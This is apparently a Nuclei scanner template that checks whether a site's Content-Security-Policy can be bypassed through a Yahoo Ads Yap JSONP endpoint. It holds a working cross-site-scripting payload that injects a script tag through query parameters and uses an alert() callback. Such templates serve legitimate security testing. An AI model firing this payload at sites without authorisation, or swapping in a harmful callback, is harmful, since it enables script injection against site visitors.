id: yahoo-ads-yap-csp-bypass

info:
  name: Content-Security-Policy Bypass - Yahoo Ads Yap
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,yahoo-ads-yap

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "yahoo.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: yahoo_ads_yap_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://ads.yap.yahoo.com/nosdk/wj/v1/getAds.do?locale=en_us&agentVersion=205&adTrackingEnabled=true&adUnitCode=2e268534-d01b-4616-83cd-709bd90690e1&apiKey=P3VYQ352GKX74CFTRH7X&gdpr=false&euconsent=&publisherUrl=https%3A%2F%2Fwww.autoblog.com&cb=alert();"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "yahoo_ads_yap_csp_xss == true"
# digest: 4a0a00473045022100ece654c5f735b6df077f6066e604701c6b89f32416c433a04aec5d6811b1a14e0220149bce360e309555503064b3e53a344b514ac89cba4b26bac6e99e40b4f3e0f0:922c64590222798bb761d5b6d8e72950